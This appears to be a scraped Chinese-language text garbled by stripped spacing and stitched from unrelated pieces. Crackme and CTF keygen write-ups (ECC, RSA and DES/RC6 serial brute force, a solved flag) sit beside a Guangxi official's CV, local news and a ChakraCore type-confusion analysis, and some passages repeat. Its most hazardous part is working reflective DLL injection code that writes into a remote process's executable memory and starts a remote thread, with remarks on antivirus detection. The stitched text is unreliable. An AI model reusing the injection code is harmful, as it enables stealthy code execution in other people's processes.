oint2_set(x1,y1,0,p1);epoint*p2=epoint_init();bigx2=mirvar(0);bigy2=mirvar(0);cinstr(x2,6C997F3E7F2C66A4A5D2FDA13756A37B1);cinstr(y2,4A38D11829D32D347BD0C0F584D546E9A);epoint2_set(x2,y2,0,p2);bign=mirvar(0);cinstr(n,200000000000000004D4FDD5703A3F269);ecurve2_mult(md2,p2,p2);ecurve2_mult(md1,p2,p2);ecurve2_mult(md2,p1,p1);ecurve2_mult(md0,p1,p1);ecurve2_sub(p1,p2);bigr=mirvar(0);bigrd=mirvar(0);bignd=mirvar(0);bigz=mirvar(0);subtract(md0,md1,r);xgcd(r,n,rd,nd,z);ecurve2_mult(rd,p2,epInput);epoint2_get(epInput,x,y);charsx[256];charsy[256];cotstr(x,sx);cotstr(y,sy);printf(%s,sx);printf(%s,sy);}}用RDLP计算得到code7A7102F36F3B344D666132A6FF7EF4BA05B99640BB815C9E712A72C64B6ABC582C2 先后被中国文联授予“德艺双馨艺术家”和国学研究会授予“国学家”等荣誉称号。如果我们的线程等待的对象数量少于THREAD_WAIT_OBJECTS(3),WaitBlockList就应该指向内置的WaitBlock[]数组,如果等待对象的数量超过了THREAD_WAIT_OBJECTS,但少于MAXIMUM_WAIT_OBJECTS(64),WaitBlockList应该指向一个外部分配的KWAIT_BLOCKS数组。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky945281.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)穷举过程非常漫长。,  工作简历  —广西柳州空压机厂装配车间车工、团委干事、团委副书记  (其间:—在广西柳州市委党校大专班工业企业经济管理专业学习)  —广西柳州压缩机总厂装配分厂调度员  —广西柳州压缩机总厂装配车间副主任,装配分厂副厂长、厂长,销售处处长  —广西柳州压缩机总厂副厂长兼销售处处长  —广西柳州联压机械集团有限公司董事、副总经理  (—中央党校函授学院本科班经济管理专业学习)  —广西柳州空压机集团有限公司董事、副董事长、总经理  —广西柳州市工业控股有限公司临时党委委员、董事、总经理  —广西柳州市工业控股公司党工委副书记、董事、总经理  —广西柳州市工控公司党工委副书记、董事长、总经理,市中小企业信用担保有限公司董事长(兼)  —广西柳州市经委党委副书记、主任,市工控公司党工委副书记、董事长,市中小企业担保公司董事长(兼)  (—在华中科技大学在职研究生班系统工程专业学习)  —广西柳州市经委主任、党委副书记  —广西柳州市发展和改革委员会主任、党组书记  —广西来宾市副市长、党组成员  —广西壮族自治区政府副秘书长,办公厅副主任、党组成员  —广西梧州市委常委  —广西梧州市委常委,市政府副市长、党组副书记  —广西钦州市委副书记,中国-马来西亚钦州产业园区工委副书记(兼)  —广西钦州市委副书记,市政府市长、党组书记,中国-马来西亚钦州产业园区工委副书记(兼)  —广西贵港市委副书记,市政府市长、党组书记  —广西贵港市委书记,市人大常委会党组书记  —广西贵港市委书记,市人大常委会主任、党组书记  广西壮族自治区第十二届人大代表并行Scavenger通过在小堆或是几乎为空的堆上提供优化的Cheney算法来弥补这一性能差距,同时仍然提供高吞吐量,以防堆积物变大。这里的newArr的创建操作如下//IfthesourceobjectisanArrayexoticobjectweshouldtr*newObj=ArraySpeciesCreate(obj,0,scriptContext);JavascriptArray*newArr=nullptr;//Ifthenewobjectwecreatedisanarray,rememberthatasitwillsaveustimesettingpropertiesintheobjectbelowif(JavascriptArray::Is(newObj)){newArr=JavascriptArray::FromVar(newObj);}注意虽然进行了转换,但是最后newArr却是NativeIntArray类型=0x000001E353F7C5100x000001E353F7C5100000000000000003........0x000001E353F7C5180000000600000000........0x000001E353F7C5200000000000000000........0x000001E353F7C5280000000100000002........0x000001E353F7C5300000000380000002.......\n0x000001E353F7C5388000000280000002......\n观察接下来的取值和赋值操作可以发现问题for(uint32k=0;klength;k++){if(!pArr-DirectGetItemAtFull(k,element)){continue;}selected=callBackFn-GetEntryPoint()(callBackFn,CallInfo(CallFlags_Value,4),thisArg,element,JavascriptNumber::ToVar(k,scriptContext),pArr);if(JavascriptConversion::ToBoolean(selected,scriptContext)){//Trytofastpathifthereturnobjectisanarrayif(newArr){newArr-DirectSetItemAt(i,element);}...pArr的类型为JavascriptArraynewArr的类型为JavascriptNativeIntArray这里直接从pArr中取出值放入了newArr,很明显是一个类型混淆造成这个混淆的根本原因是设置了staticget[](){returndummy;}导致返回了一个JavascriptNativeIntArray,从而与JavascriptArray造成混淆。之后分析的进程注入技术都开源到这一个项目上。,2017年12月,石羊塘社区被国家民委命名为第五批“全国民族团结进步创建示范区(单位)”,这是贵港市第一个被命名为国家级民族团结进步创建示范单位。在全力发展乡村旅游业同时,建设荷花新品种育种基地,引导企业研发和推广莲子、藕粉、荷叶茶、藕糖等覃塘莲藕品牌系列加工产品,并进行富硒产品研发,延伸荷美覃塘产品产业链,提高景区的旅游附加值,进而打造荷文化品牌。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}在介绍我市情况时,黄卫平说,贵港拥有丰富的硒资源,是目前富硒土壤含量较高、最连片、最具有开发富硒农产品的优质地区。原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。与我们的DRDoS数据馈送进行交叉检查表明,这些开放式DNS服务器中有三分之一已经被用作实时DNS放大攻击的反射器,目前还没有看到任何其他mirai变种的这种类型的配置。“aquario”是南美洲国家流行无线路由器的默认密码。,目前,广西新闻网PC端设有新闻、房产、汽车、旅游、健康、财经、文化等30多个频道,以及100多个固定专栏。 ,处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}od无法调试,先使用ida静态分析,发现该程序加载驱动,patch掉驱动后再动态调试。。LPVOIDlpBuffer=HeapAlloc(GetProcessHeap(),0,dwLength);//创建缓冲区if(ReadFile(hFile,lpBuffer,dwLength,dwBytesRead,NULL)==false)//将DLL数据复制到缓冲区BreakForError("FailedtoreadtheDLLfile");HANDLEhTargetProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);HANDLEhMoudle=LoadRemoteLibraryR(hTargetProcess,lpBuffer,dwLength,NULL);//获取加载器的地址(文件偏移)DWORDdwReflectiveLoaderOffset=GetReflectiveLoaderOffset(lpBuffer);//在目标进程分配内存(RWX)LPVOIDlpRemoteLibraryBuffer=VirtualAllocEx(hProcess,NULL,dwLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);//写数据WriteProcessMemory(hProcess,lpRemoteLibraryBuffer,lpBuffer,dwLength,NULL);//线程函数的地址=基地址+文件偏移LPTHREAD_START_ROUTINElpReflectiveLoader=(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer+dwReflectiveLoaderOffset);//创建远程线程hThread=CreateRemoteThread(hProcess,NULL,1024*1024,lpReflectiveLoader,lpParameter,(DWORD)NULL,dwThreadId);//基址-在Dropper进程中开辟的堆空间的起始地址UINT_PTRuiBaseAddress=(UINT_PTR)lpReflectiveDllBuffer;//得到NT头的文件地址UINT_PTRuiExportDir=(UINT_PTR)uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew;//获得导出表结构体指针的地址UINT_PTRuiNameArray=(UINT_PTR)(((PIMAGE_NT_HEADERS)uiExportDir)-[IMAGE_DIRECTORY_ENTRY_EXPORT]);//该调用中,第一个参数即为导出表结构体映射到内存的相对虚拟地址//结果为找到到导出表结构体的内存地址uiExportDir=uiBaseAddress+Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)-VirtualAddress,uiBaseAddress);//得到导出表名称数组在内存中的地址RVAuiNameArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNames,uiBaseAddress);//得到导出函数地址表在内存中的地址RVAUINT_PTRuiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//得到函数序号地址表在内存中的地址UINT_PTRuiNameOrdinals=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNameOrdinals,uiBaseAddress);//导出函数的数量DWORDdwCounter=((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-NumberOfNames;while(dwCounter--){//这里需要将获取到的各表的RVA转化为各表实际的文件偏移char*cpExportedFunctionName=(char*)(uiBaseAddress+Rva2Offset((*(DWORD*)uiNameArray),uiBaseAddress));if(strstr(cpExportedFunctionName,"ReflectiveLoader")!=NULL){//获取地址表起始地址的实际位置uiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//根据序号找到序号对应的函数地址uiAddressArray+=(*(WORD*)(uiNameOrdinals)*sizeof(DWORD));//返回ReflectiveLoader函数的文件偏移,即函数机器码的起始地址returnRva2Offset((*(DWORD*)uiAddressArray),uiBaseAddress);}uiNameArray+=sizeof(DWORD);uiNameOrdinals+=sizeof(WORD);}DWORDRva2Offset(DWORDdwRva,UINT_PTRuiBaseAddress){//得到nt头在内存中的实际地址PIMAGE_NT_HEADERSpNtHeaders=(PIMAGE_NT_HEADERS)(uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew);//获得节表PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)((UINT_PTR)(pNtHeaders-OptionalHeader)+);//不在任意块内if(dwRvapSectionHeader[0].PointerToRawData)returndwRva;//通过遍历块,来找到相对偏移地址对应的文件偏移地址for(WORDwIndex=0;;wIndex++){if(dwRva=pSectionHeader[wIndex].VirtualAddressdwRva(pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].SizeOfRawData))return(dwRva-pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].PointerToRawData);//\------------------块内偏移-------------------/\-----------块在文件中的偏移------------/}}回想我们注射器实现的过程中所调用的函数,与正常的注入似乎没有太大的区别,而且像CreateRemoteProcess这种危险函数杀软抓的很严,是可以被替换掉的,而且没有发现LoadLibraryA函数。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。1.处理逻辑name是内置的:readyucode是输入的int__cdeclsub_40AEF0(HWNDhDlg){...GetDlgItemTextA(hDlg,1000,name,64);v1=GetDlgItemTextA(hDlg,1001,code,256);v2=v1;if(v1=0x21){if(code[0]!=0x30){v3=0;if(v1=0){LABEL_9:memset(byte_41BC84,0,sizeof(byte_41BC84));v5=off_418078[check(code,name)];MessageBoxA(hDlg,v5,v5,0);return0;}while(1){v4=code[v3];if(!isxdigit(v4)||islower(v4))break;if(++v3=v2)gotoLABEL_9;}}...}z=10000000000000000000000000000000000000000000000000000000000000000079r=code^5modzr有34字节,前17字节作为x,后17字节作为yepInput=(x,y)根据name计算3个md5值:md0=md5(\x01readyu-pediy)=51C75F1F444BAA97ED18DD6C340835D7md1=md5(\x02\x02readyu-2017)=0E5CF7F068D6EFA16F42F935EC424A75md2=md5(\x03\x03\x03readyu-crackme)=A4CD1D64486ABDE1BE441944460CD41D椭圆曲线:m=131,a=13,b=2,c=1,a2=0,a6=1前面的epInput是这个曲线上的点ep1=(51C99BFA6F18DE467C80C23B98C7994AA,42EA2D112ECEC71FCF7E000D7EFC978BD)ep2=(6C997F3E7F2C66A4A5D2FDA13756A37B1,4A38D11829D32D347BD0C0F584D546E9A)n=200000000000000004D4FDD5703A3F269校验(md2*ep1+epInput)*md0modn==(md2*ep2+epInput)*md1modnsignedint__cdeclcheck(char*code,constchar*a2){...get_mip();v29[0]=0;memset(v29[1],0,0x20u);*(_WORD*)v29[33]=0;v29[35]=0;ptr[0]=0x10;ptr[1]=0;ptr[2]=0;ptr[3]=0;ptr[4]=0;ptr[5]=0;ptr[6]=0;ptr[7]=0;ptr[8]=0;ptr[9]=0;ptr[10]=0;ptr[11]=0;ptr[12]=0;ptr[13]=0;ptr[14]=0;ptr[15]=0;ptr[16]=0;ptr[17]=0;ptr[18]=0;ptr[19]=0;ptr[20]=0;ptr[21]=0;ptr[22]=0;ptr[23]=0;ptr[24]=0;ptr[25]=0;ptr[26]=0;ptr[27]=0;ptr[28]=0;ptr[29]=0;ptr[30]=0;ptr[31]=0;ptr[32]=0;ptr[33]=0x79;mirsys_init();v2=z;a2_1=::a2;v4=::x;y=dword_41BC68;x=dword_41BC64;a6=dword_41BC70;w=dword_41BC74;bytes_to_big(34,ptr,z);cinstr(v4,code);if(mr_compare(v4,v2)=0){power(v4,5,v2,w);memset(v29,0,sizeof(v29));if(big_to_bytes(34,w,v29,1)==34){bytes_to_big(17,v29,x);bytes_to_big(17,v29[17],y);convert(0,a2_1);convert(1,a6);v17=1;if(ecurve2_init(131,13,2,1,a2_1,a6,0,0)){qmemcpy(v46,51C99BFA6F18DE467C80C23B98C7994AA,sizeof(v46));qmemcpy(v47,42EA2D112ECEC71FCF7E000D7EFC978BD,sizeof(v47));qmemcpy(v44,6C997F3E7F2C66A4A5D2FDA13756A37B1,sizeof(v44));qmemcpy(v43,4A38D11829D32D347BD0C0F584D546E9A,sizeof(v43));qmemcpy(v45,200000000000000004D4FDD5703A3F269,sizeof(v45));v30=dword_418118;v31=word_41811C;memset(v32,0,sizeof(v32));v33=0;v34=dword_4180E4;v35=byte_4180E8;memset(v36,0,sizeof(v36));v37=0;v38=0;v40=dword_4180F0;v39=dword_4180EC;memset(v41,0,sizeof(v41));a1=0;memset(v49,0,sizeof(v49));v50=0;v51=0;i=0;v6=a1;a3=(char*)mds;lpMem=(flash)v30;do{strcpy(v6,a2);strcat(v6,-);strcat(v6,(constchar*)lpMem);xmd5(v6,strlen(v6),a3,i+1);v6+=256;++i;lpMem+=4;a3+=16;}while(i3);md0=mirvar(0);md1=mirvar(0);md2=mirvar(0);x1=mirvar(0);a3a=mirvar(0);x2=mirvar(0);lpMema=mirvar(0);v9=mirvar(0);ep1=epoint_init();ep2=epoint_init();p1=epoint_init();p2=epoint_init();epInput=epoint_init();if(epoint2_set(x,y,0,epInput)){cinstr(x1,v46);cinstr(a3a,v47);epoint2_set(x1,a3a,0,ep1);cinstr(x2,v44);cinstr(lpMema,v43);epoint2_set(x2,lpMema,0,ep2);bytes_to_big(16,(_BYTE*)mds,md0);bytes_to_big(16,mds[1],md1);bytes_to_big(16,mds[2],md2);ecurve2_mult(md2,ep1,p1);ecurve2_mult(md2,ep2,p2);ecurve2_add(epInput,p1);ecurve2_add(epInput,p2);ecurve2_mult(md0,p1,p1);ecurve2_mult(md1,p2,p2);epoint2_get(p1,x1,a3a);epoint2_get(p2,x2,lpMema);cinstr(v9,v45);divide(x1,v9,v9);divide(x2,v9,v9);v17=3;if(!mr_compare(x1,x2))v17=0;}else{v17=2;}mirkill(md0);mirkill(md1);mirkill(md2);mirkill(x1);mirkill(x2);mirkill(a3a);mirkill(lpMema);mirkill(v9);epoint_free(ep1);epoint_free(ep2);epoint_free(p1);epoint_free(p2);epoint_free(epInput);}mirexit();result=v17;}else{mirexit();result=1;}}else{mirexit();result=1;}returnresult;}2.计算(md2*ep1+epInput)*md0modn==(md2*ep2+epInput)*md1modn=epInput=(md2*md1*ep2-md2*md0*ep1)*(((md0-md1)^-1)modn)得到(02D23461BA71B50AF182DC76E5A7C726F5,07BE013AF19BD185BCD20BB341EA31298B)voidtest2(){biga2=mirvar(0);biga6=mirvar(1);if(ecurve2_init(131,13,2,1,a2,a6,0,0)){epoint*epInput=epoint_init();bigx=mirvar(0);bigy=mirvar(0);bigmd0=mirvar(0);bigmd1=mirvar(0);bigmd2=mirvar(0);cinstr(md0,51C75F1F444BAA97ED18DD6C340835D7);cinstr(md1,0E5CF7F068D6EFA16F42F935EC424A75);cinstr(md2,A4CD1D64486ABDE1BE441944460CD41D);epoint*p1=epoint_init();bigx1=mirvar(0);bigy1=mirvar(0);cinstr(x1,51C99BFA6F18DE467C80C23B98C7994AA);cinstr(y1,42EA2D112ECEC71FCF7E000D7EFC978BD);epoint2_set(x1,y1,0,p1);epoint*p2=epoint_init();bigx2=mirvar(0);bigy2=mirvar(0);cinstr(x2,6C997F3E7F2C66A4A5D2FDA13756A37B1);cinstr(y2,4A38D11829D32D347BD0C0F584D546E9A);epoint2_set(x2,y2,0,p2);bign=mirvar(0);cinstr(n,200000000000000004D4FDD5703A3F269);ecurve2_mult(md2,p2,p2);ecurve2_mult(md1,p2,p2);ecurve2_mult(md2,p1,p1);ecurve2_mult(md0,p1,p1);ecurve2_sub(p1,p2);bigr=mirvar(0);bigrd=mirvar(0);bignd=mirvar(0);bigz=mirvar(0);subtract(md0,md1,r);x